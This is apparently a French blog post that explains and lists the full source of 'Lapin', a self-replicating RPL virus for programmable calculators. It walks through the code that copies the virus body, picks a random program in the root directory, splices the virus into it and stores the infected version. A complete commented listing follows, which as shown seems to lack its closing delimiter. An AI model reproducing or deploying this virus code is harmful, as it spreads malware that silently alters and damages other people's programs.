Un programme infecté par lapin a la structure
suivante :
« Programme_hôte_en_rpl ‘Nom_du_programme_hôte’ virus_en_rpl »
(les signes « et » sont les
prologues de début et de fin d’un programme en RPL).
A chaque appel
d’un programme infecté, le programme est d’abord exécuté, puis le nom ‘Nom_du_prgramme_hôte’ est mis sur la pile. Le virus recherche alors le
contenu du programme portant ce nom et en extrait le code viral, en le
transformant en chaîne de caractères et en en prélevant la partie virale. Ces
opérations sont effectuées en début du virus, par la séquence :
‘Nom_du_programme_hôte’ rcl
->str dup size dup 282 - swap sub
On obtient
alors au premier niveau de la pile une chaîne de caractères contenant le virus,
qu’il suffira de coller à celle d’un programme sain, moyennant quelques
aménagements syntaxiques, pour obtenir un programme infecté.
Si on trouve un
programme à infecter, on le transforme donc en chaîne de caractères que l’on
soude à celle du virus, en prenant soin d’inclure le ‘Nom_du_programme_hôte’ dans la nouvelle copie :
dup rot + « ‘ » swap + over rcl ->str dup size 1 swap 1 -
sub swap +
Puis on transforme la chaîne de caractères
décrivant le nouveau programme infecté en objet programme exécutable, que l’on
enregistre à la place de l’ancien :
obj-> swap
sto
1.3.
Listing complet
Voici le listing complet du virus, baptisé
‘Lapin’ et écrit en RPL, qui fait 210.5 octets :
« ‘Lapin’ rcl ->str dup
size dup 282 - swap sub
(Recopie le code du virus sur la pile)
path dup head eval swap
(Se place dans le répertoire maître)
while
vars dup size rand * ceil get dup vtype 15 + ==
repeat
dup eval swap +
end (Boucle
Tant Que / Fait de recherche d’un objet à infecter)
if
dup vtype 8 == (est-ce un programme ?)
then
dup rot + « ‘ » swap + over rcl ->str dup size
1 swap 1 - sub swap + obj-> swap sto (Si oui, il est infecté)
else
drop2 (Si non, nettoyage de la pile)
end
Aucun commentaire:
Enregistrer un commentaire